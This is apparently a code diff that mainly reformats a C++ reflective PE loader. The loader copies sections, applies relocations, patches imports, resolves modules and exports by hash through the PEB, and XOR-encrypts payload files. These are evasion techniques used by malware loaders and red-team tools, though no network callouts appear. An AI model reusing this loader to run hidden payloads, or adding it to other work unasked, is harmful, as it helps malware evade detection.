@ -294,17 +256,14 @@ BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDire
|
|||||||
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
|
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
|
||||||
PIMAGE_RELOC pRelocationList;
|
PIMAGE_RELOC pRelocationList;
|
||||||
|
|
||||||
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock)
|
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) {
|
||||||
{
|
|
||||||
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
|
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
|
||||||
|
|
||||||
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock)
|
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock) {
|
||||||
{
|
|
||||||
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
|
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
|
||||||
|
|
||||||
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
|
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
|
||||||
switch (pRelocationList->type)
|
switch (pRelocationList->type) {
|
||||||
{
|
|
||||||
case IMAGE_REL_BASED_DIR64:
|
case IMAGE_REL_BASED_DIR64:
|
||||||
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
|
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
|
||||||
break;
|
break;
|
||||||
@ -330,8 +289,7 @@ BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDire
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders)
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) {
|
||||||
{
|
|
||||||
// Copy headers
|
// Copy headers
|
||||||
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
|
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
|
||||||
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
|
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
|
||||||
@ -342,15 +300,13 @@ void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HE
|
|||||||
|
|
||||||
PBYTE pbSrc;
|
PBYTE pbSrc;
|
||||||
|
|
||||||
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
|
||||||
{
|
|
||||||
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
|
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
|
||||||
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
|
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
PBYTE GetModuleAddressFromHash(DWORD dwHash)
|
PBYTE GetModuleAddressFromHash(DWORD dwHash) {
|
||||||
{
|
|
||||||
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
|
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
|
||||||
#if defined(_WIN64)
|
#if defined(_WIN64)
|
||||||
// PEB is at GS:[0x60]
|
// PEB is at GS:[0x60]
|
||||||
@ -363,10 +319,8 @@ PBYTE GetModuleAddressFromHash(DWORD dwHash)
|
|||||||
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
|
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
|
||||||
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
|
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
|
||||||
|
|
||||||
while (pEntry->DllBase != NULL)
|
while (pEntry->DllBase != NULL) {
|
||||||
{
|
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) {
|
||||||
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr)
|
|
||||||
{
|
|
||||||
return reinterpret_cast<PBYTE>(pEntry->DllBase);
|
return reinterpret_cast<PBYTE>(pEntry->DllBase);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -376,12 +330,10 @@ PBYTE GetModuleAddressFromHash(DWORD dwHash)
|
|||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng)
|
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng) {
|
||||||
{
|
|
||||||
auto pNtHeaders = GetNtHeaders(pbModule);
|
auto pNtHeaders = GetNtHeaders(pbModule);
|
||||||
|
|
||||||
if (pNtHeaders == nullptr)
|
if (pNtHeaders == nullptr) {
|
||||||
{
|
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -397,8 +349,7 @@ HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng)
|
|||||||
DWORD dwNameRva;
|
DWORD dwNameRva;
|
||||||
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
|
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
|
||||||
|
|
||||||
for (DWORD i = 0; i < pExport->NumberOfNames; i++)
|
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
|
||||||
{
|
|
||||||
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
|
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
|
||||||
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
|
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
|
||||||
}
|
}
|
||||||
@ -409,13 +360,11 @@ HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng)
|
|||||||
UNICODE_STRING *strFunctionNameBase;
|
UNICODE_STRING *strFunctionNameBase;
|
||||||
WORD wOrdinal;
|
WORD wOrdinal;
|
||||||
|
|
||||||
for (auto dwNRva : vNameRvas)
|
for (auto dwNRva : vNameRvas) {
|
||||||
{
|
|
||||||
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
|
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
|
||||||
dwNameHash = CalculateHash(*strFunctionNameBase);
|
dwNameHash = CalculateHash(*strFunctionNameBase);
|
||||||
|
|
||||||
if (dwNameHash == dwHash)
|
if (dwNameHash == dwHash) {
|
||||||
{
|
|
||||||
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
|
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
|
||||||
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
|
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
|
||||||
|
|
||||||
@ -426,19 +375,16 @@ HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng)
|
|||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage)
|
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) {
|
||||||
{
|
|
||||||
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
|
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
|
||||||
|
|
||||||
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||||
{
|
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
|
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
|
||||||
|
|
||||||
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||||
{
|
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <winternl.h>
|
#include <winternl.h>
|
||||||
|
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <random>
|
#include <random>
|
||||||
|
|
||||||
@ -29,8 +30,7 @@ using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
|
|||||||
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
|
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
|
||||||
|
|
||||||
// Complete WinAPI PEB structs
|
// Complete WinAPI PEB structs
|
||||||
struct _MY_PEB_LDR_DATA
|
struct _MY_PEB_LDR_DATA {
|
||||||
{
|
|
||||||
ULONG Length;
|
ULONG Length;
|
||||||
BOOL Initialized;
|
BOOL Initialized;
|
||||||
PVOID SsHandle;
|
PVOID SsHandle;
|
||||||
@ -41,8 +41,7 @@ struct _MY_PEB_LDR_DATA
|
|||||||
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
|
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
|
||||||
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
|
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
|
||||||
|
|
||||||
struct _MY_LDR_DATA_TABLE_ENTRY
|
struct _MY_LDR_DATA_TABLE_ENTRY {
|
||||||
{
|
|
||||||
LIST_ENTRY InLoadOrderLinks;
|
LIST_ENTRY InLoadOrderLinks;
|
||||||
LIST_ENTRY InMemoryOrderLinks;
|
LIST_ENTRY InMemoryOrderLinks;
|
||||||
LIST_ENTRY InInitializationOrderLinks;
|
LIST_ENTRY InInitializationOrderLinks;
|
||||||
@ -55,8 +54,7 @@ struct _MY_LDR_DATA_TABLE_ENTRY
|
|||||||
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
|
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
|
||||||
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
|
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
|
||||||
|
|
||||||
struct _IMAGE_RELOC
|
struct _IMAGE_RELOC {
|
||||||
{
|
|
||||||
WORD offset : 12;
|
WORD offset : 12;
|
||||||
WORD type : 4;
|
WORD type : 4;
|
||||||
};
|
};
|
||||||
@ -64,10 +62,10 @@ using IMAGE_RELOC = _IMAGE_RELOC;
|
|||||||
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
||||||
|
|
||||||
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
||||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
|
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng);
|
||||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
||||||
|
|
||||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng);
|
||||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
||||||
|
@ -1,41 +1,33 @@
|
|||||||
#include "crypto.hpp"
|
#include "crypto.hpp"
|
||||||
|
|
||||||
std::vector<BYTE> GenerateKey(size_t keysize)
|
std::vector<BYTE> GenerateKey(size_t keysize) {
|
||||||
{
|
|
||||||
std::vector<BYTE> key(keysize, 0);
|
std::vector<BYTE> key(keysize, 0);
|
||||||
std::random_device rd;
|
std::random_device rd;
|
||||||
std::mt19937 gen(rd());
|
std::mt19937 gen(rd());
|
||||||
std::uniform_int_distribution<> dis(0, 255);
|
std::uniform_int_distribution<> dis(0, 255);
|
||||||
|
|
||||||
for (size_t i = 0; i < key.size(); ++i)
|
for (size_t i = 0; i < key.size(); ++i) {
|
||||||
{
|
|
||||||
key[i] = static_cast<BYTE>(dis(gen));
|
key[i] = static_cast<BYTE>(dis(gen));
|
||||||
}
|
}
|
||||||
|
|
||||||
return key;
|
return key;
|
||||||
}
|
}
|
||||||
|
|
||||||
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key)
|
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key) {
|
||||||
{
|
for (size_t i = 0; i < data->size(); i++) {
|
||||||
for (size_t i = 0; i < data.size(); i++)
|
(*data)[i] = (*data)[i] ^ key[i % key.size()];
|
||||||
{
|
|
||||||
data[i] = data[i] ^ key[i % key.size()];
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD CalculateHash(const std::string &source)
|
DWORD CalculateHash(const std::string &source) {
|
||||||
{
|
|
||||||
auto dwHash = HASH_KEY;
|
auto dwHash = HASH_KEY;
|
||||||
|
|
||||||
for (char ch : source)
|
for (char ch : source) {
|
||||||
{
|
if (ch == '\0') {
|
||||||
if (ch == '\0')
|
|
||||||
{
|
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ch >= 'a' && ch <= 'z')
|
if (ch >= 'a' && ch <= 'z') {
|
||||||
{
|
|
||||||
ch -= 0x20;
|
ch -= 0x20;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -46,24 +38,20 @@ DWORD CalculateHash(const std::string &source)
|
|||||||
return dwHash;
|
return dwHash;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName)
|
DWORD CalculateHash(const UNICODE_STRING &baseDllName) {
|
||||||
{
|
|
||||||
auto pwszBaseDllName = baseDllName.Buffer;
|
auto pwszBaseDllName = baseDllName.Buffer;
|
||||||
auto dwHash = HASH_KEY;
|
auto dwHash = HASH_KEY;
|
||||||
|
|
||||||
char ch;
|
char ch;
|
||||||
|
|
||||||
for (auto i = 0; i < baseDllName.MaximumLength; i++)
|
for (auto i = 0; i < baseDllName.MaximumLength; i++) {
|
||||||
{
|
|
||||||
ch = pwszBaseDllName[i];
|
ch = pwszBaseDllName[i];
|
||||||
|
|
||||||
if (ch == '\0')
|
if (ch == '\0') {
|
||||||
{
|
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ch >= 'a' && ch <= 'z')
|
if (ch >= 'a' && ch <= 'z') {
|
||||||
{
|
|
||||||
ch -= 0x20;
|
ch -= 0x20;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -2,12 +2,14 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <winternl.h>
|
#include <winternl.h>
|
||||||
#include <string>
|
|
||||||
#include <random>
|
#include <random>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
constexpr auto HASH_KEY = 5381;
|
constexpr auto HASH_KEY = 5381;
|
||||||
|
|
||||||
std::vector<BYTE> GenerateKey(size_t keysize);
|
std::vector<BYTE> GenerateKey(size_t keysize);
|
||||||
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key);
|
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key);
|
||||||
DWORD CalculateHash(const std::string &source);
|
DWORD CalculateHash(const std::string &source);
|
||||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
||||||
|
@ -1,7 +1,6 @@
|
|||||||
#include "futils.hpp"
|
#include "futils.hpp"
|
||||||
|
|
||||||
std::vector<BYTE> ReadFromFile(const std::string &filename)
|
std::vector<BYTE> ReadFromFile(const std::string &filename) {
|
||||||
{
|
|
||||||
std::ifstream file(filename, std::ios::binary);
|
std::ifstream file(filename, std::ios::binary);
|
||||||
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
|
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
|
||||||
file.close();
|
file.close();
|
||||||
@ -9,8 +8,7 @@ std::vector<BYTE> ReadFromFile(const std::string &filename)
|
|||||||
return data;
|
return data;
|
||||||
}
|
}
|
||||||
|
|
||||||
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data)
|
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) {
|
||||||
{
|
|
||||||
std::ofstream file(filename, std::ios::binary);
|
std::ofstream file(filename, std::ios::binary);
|
||||||
file.write(reinterpret_cast<const char *>(data.data()), data.size());
|
file.write(reinterpret_cast<const char *>(data.data()), data.size());
|
||||||
file.close();
|
file.close();
|
||||||
|
@ -1,9 +1,10 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <fstream>
|
|
||||||
|
|
||||||
std::vector<BYTE> ReadFromFile(const std::string &filename);
|
std::vector<BYTE> ReadFromFile(const std::string &filename);
|
||||||
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);
|
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);
|
||||||
|
Loading…
Reference in New Issue
Block a user